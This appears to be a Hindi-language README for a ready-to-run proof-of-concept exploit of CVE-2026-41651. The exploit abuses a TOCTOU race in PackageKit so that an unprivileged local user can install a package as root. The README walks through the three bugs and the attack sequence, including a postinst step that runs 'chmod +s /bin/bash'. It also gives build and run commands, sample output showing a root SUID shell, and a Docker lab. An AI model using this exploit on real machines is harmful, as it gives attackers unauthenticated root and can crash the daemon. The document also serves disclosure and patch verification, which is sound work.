
PackageKit के transaction handler में TOCTOU race का शोषण करके रूट के रूप में मनमाने पैकेज इंस्टॉल करता है, जिससे बिना प्रमाणीकरण के स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) और SUID शेल प्राप्त होता है।
PackageKit के ट्रांज़ैक्शन हैंडलर में TOCTOU रेस। कोई भी स्थानीय अन-प्रिविलेज्ड उपयोगकर्ता बिना प्रमाणीकरण के रूट के रूप में मनमाना पैकेज इंस्टॉल कर सकता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-41651 |
| घटक | PackageKit डेमन (packagekitd) |
| प्रभावित संस्करण | 1.0.2 – 1.3.4 |
| फिक्स संस्करण | 1.3.5 |
| प्रभाव | स्थानीय विशेषाधिकार वृद्धि → रूट |
| प्रमाणीकरण आवश्यक | नहीं |
| उपयोगकर्ता इंटरैक्शन | नहीं |
| परीक्षण किया गया | Ubuntu 24.04, Debian 12 |

src/pk-transaction.c में तीन बग मिलकर प्राधिकरण और निष्पादन के बीच एक TOCTOU विंडो बनाते हैं।
InstallFiles() बिना किसी स्टेट जाँच के cached_transaction_flags और cached_full_paths को बिना शर्त ओवरराइट करता है:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state() पिछड़े ट्रांज़िशन को मौन रूप से छोड़ देता है। फ़्लैग पहले ही ओवरराइट हो चुके होते हैं, लेकिन स्टेट यथावत बना रहता है:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run() कैश्ड फ़्लैग को प्राधिकरण समय पर नहीं, बल्कि डिस्पैच समय पर (GLib idle से) पढ़ता है:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
PK_TRANSACTION_FLAG_SIMULATE (बिट 2, मान 0x4) सेट करने पर polkit जाँच पूरी तरह छूट जाती है:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
दोनों InstallFiles कॉल क्लाइंट के मुख्य लूप के पुनरावृत्त होने से पहले fire-and-forget async D-Bus कॉल के रूप में भेजे जाते हैं। यह सुनिश्चित करता है कि GLib idle फायर होने से पहले दोनों संदेश सर्वर सॉकेट तक पहुँच जाएँ — जीतने के लिए कोई रेस नहीं।
polkitd अंततः दूसरी कॉल के लिए NOT_AUTHORIZED लौटाता है, लेकिन तब तक APT इंस्टॉलेशन को पहले ही भेज चुका होता है। यह त्रुटि अपेक्षित और हानिरहित है।
sudo apt install libglib2.0-dev
make
कोई अन्य निर्भरता नहीं — .deb पैकेज रनटाइम पर शुद्ध C में बनाए जाते हैं।
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — कर्नेल में सभी विशेषाधिकार जाँचें प्रभावी UID का उपयोग करती हैं।
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
यह इमेज PackageKit 1.3.4 को स्रोत से बनाती है (कमिट 2149735, अंतिम भेद्य संस्करण), dbus + polkitd + packagekitd प्रारंभ करती है, फिर एक्सप्लॉइट को एक अन-प्रिविलेज्ड उपयोगकर्ता के रूप में चलाती है।
g_assert पर नोट: Docker इमेज pk-transaction.c में एक g_assert (!transaction->emitted_finished) गार्ड को पैच करके हटा देती है। एक वास्तविक अनपैच्ड सिस्टम पर यह assert तब फायर होता है जब APT का थ्रेड Finished उत्सर्जित करने का प्रयास करता है, जबकि polkitd पहले ही ऐसा कर चुका होता है, जिससे SIGABRT के माध्यम से डेमन क्रैश हो जाता है। उस समय तक SUID bash पहले से ही डिस्क पर मौजूद होता है, इसलिए विशेषाधिकार वृद्धि सफल होती है — क्रैश एक साइड-इफेक्ट DoS है। packagekitd अगले D-Bus एक्टिवेशन पर पुनः प्रारंभ हो जाता है।
PackageKit ≥ 1.3.5 पर दूसरी कॉल अस्वीकार कर दी जाती है:
[-] Target is PATCHED (PackageKit >= 1.3.5)
फिक्स pk_transaction_method_call() में एक स्टेट गार्ड जोड़ता है:
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'